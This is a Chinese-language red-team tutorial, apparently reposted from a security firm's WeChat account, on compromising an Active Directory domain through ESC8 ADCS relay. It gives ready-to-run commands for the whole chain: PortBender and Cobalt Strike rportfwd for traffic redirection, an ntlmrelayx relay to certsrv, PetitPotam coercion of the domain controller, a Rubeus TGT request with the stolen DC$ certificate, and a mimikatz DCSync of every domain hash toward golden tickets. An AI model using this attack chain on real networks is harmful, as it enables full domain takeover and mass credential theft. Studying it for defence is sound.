雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
尽管 ADCS 并不是默认安装,但在大型企业域中通常被广泛部署。本文讲述在实战域环境中 ADCS 中继的打法。
结合 PetitPotam 与 ESC8,获取为域控机器用户(DC$)生成的证书,使用 DC$ 的证书请求其 Kerberos TGT(AS_REQ),DCSync.
1.目标是 Windows,而在 Windows 上 445 端口是占用的,所以不能直接嗅探该端口传入的流量。
2.大部分情况下,目标 Windows 主机上都是没有一些语言环境的,Impacket工具包无法运行,现装环境的操作太麻烦、遇到的问题太多。
因此,在实战中,可以考虑:使用端口流量的重定向、端口转发、代理来实现攻击操作。
1.使用 PortBender 将 Win2k8 上面的 445 端口流量重定向到 8445 端口。
2.开启端口转发,将 Win2k8 的 8445 端口流量全部转发到 kali(TeamServer)的 445 端口。
3.攻击者通过 socks5 代理利用 PetitPotam 强制域控向中继机发起机器用户(DC$) NTLM 身份认证。
4.域控发送 DC$ NTLM 身份认证 到中继机。
5.中继机器利用 DC$ NTLM 的身份认证 向 ADCS 申请为 DC$ 颁发证书。
6.ADCS 认证通过,为 DC$ 颁发证书。
7.使用 DC$ 的证书请求其 Kerberos TGT(AS_REQ)。
8.域控返回 TGT。
9.利用 DC$ 的 TGT 进行 DCSync。
10.利用 krbtgt NTLM hash 创建金票等。
拿到目标的 Beacon 后,根据目标版本上传 WinDivert32.sys 或 WinDivert64.sys。
使用 PortBender 将 Win2k8 的 445 端口流量全部转发到 Win2k8 的 8445 端口。
注意:PortBender 执行需要管理权限,且需在 WinDivert64.sys 同一目录下执行
PortBender redirect 445 8445
利用 rportfwd 命令来将 Win2k8 的 8445 端口流量全部转发到 kali(TeamServer)的445端口。
rportfwd [绑定端口] [转发主机] [转发端口]
rportfwd 绑定目标主机上的指定端口(如:8445端口),当此端口(8445端口)有流量连接进来时,Cobalt Strike 将连接到转发的主机/端口(kali:445端口),并使用 Beacon 在两个连接之间中继流量。
此时 Win2k8 445 端口的流量通过重定向,发送给 Win2k8 的 8445 端口,由于端口转发,Win2k8 的 8445 端口流量全部转发到 kali 的 445 端口上。
注:转发到攻击者的 445 端口不能改变,只能为 445(因为 ntlmrelayx.py 监听 445 端口)
rportfwd 8445 192.168.124.3 445
使用 ntlmrelayx.py 在 kali 上开启 445 端口设置中继监听,以便后续将 DC$ 传来的身份认证(域控机器用户的身份认证)转发到 ADCS 上。或者更具体地说,转发到 ADCS 的 HTTP 接口
http://192.168.1.6/certsrv/certfnsh.asp 以进行证书申请。(因为实战情况下,vps 不通 ADCS ,所以使用 proxychains4 代理来转发至 ADCS)。
proxychains4 ntlmrelayx.py -t http://192.168.1.6/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
-t 将凭据中继到的目标,可以是 IP、主机名或 URL
-smb2support 支持 SMB2
--adcs 启用 AD CS 中继攻击
--template TEMPLATE AD CS 模板。默认为机器或用户, 中继域控应该指定为 "DomainController"
使用代理利用 PetitPotm 向域控发送流量,强制 DC (192.168.1.2) 向 Win2k8 (192.168.1.3) 的445端口发起身份认证,当 Win2k8 的 445 端口收到身份认证的流量之后,将会将流量全部重定向到 Win2k8 的 8445 端口,再通过之前开启的端口转发,最终将 Win2k8 的 8445 端口流量全部转发到开启中继监听的 kali (10.11.35.215) 的445端口。
proxychains4 python3 PetitPotam.py 192.168.1.3 192.168.1.2
6.1. 来看 Win2k8 的流量包:
强制 DC (192.168.1.2)向中继机器 Win2k8(192.168.1.3) 发起身份认证。
192.168.1.2:49342 ---> 192.168.1.6:445 发起认证
10.11.34.215:42398 ---> 10.11.35.215:445
当 Win2k8 的 8445 端口有流量连接进来时,Cobalt Strike 将连接到转发的 kali 的 445端口,通过 Beacon 在两个连接之间中继流量。
2.HTTP服务器返回200,视为成功登录。
3.使用DC$ NTLM身份认证验证 http://192.168.1.6 成功。
4.生成 CSR(Certificate Signing Request 证书签名请求)。
5.获取证书。
6.获得 DC$ (域控机器用户)的Base64证书(证书默认有效期为一年)。
如下为ADCS 为 DC机器用户 颁发的证书:
拿到域控机器用户(DC$) 的证书之后,我们现在可以使用 Rubeus 为 DC$ 机器用户请求 Kerberos TGT(AS_REQ)。
使用 runas /netonly /user:ligang cmd 来创建一个新的 cmd 登陆会话,向其中注入 DC$ TGT 以防止弄乱现有登录会话的 TGT。
Rubeus.exe asktgt /user:dc$ /certificate:"MIIRZQIBAzCCES8GCSqGSIb3He39M=" /ptt
这里的 user 为域控机器用户(DC的机器名$)。
mimikatz.exe "lsadump::dcsync /domain:missyou.com /all /csv" exit
要停止 PortBender,使用 jobs 命令列出正在运行的作业,这将列出作业 ID (JID) 和关联的 PID。
使用 jobkill停止作业,然后再使用 kill关闭生成的进程。
使用 rportfwd stop 8445 关闭端口转发。
原文始发于微信公众号(雷神众测):ESC8(ADCS Relay)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论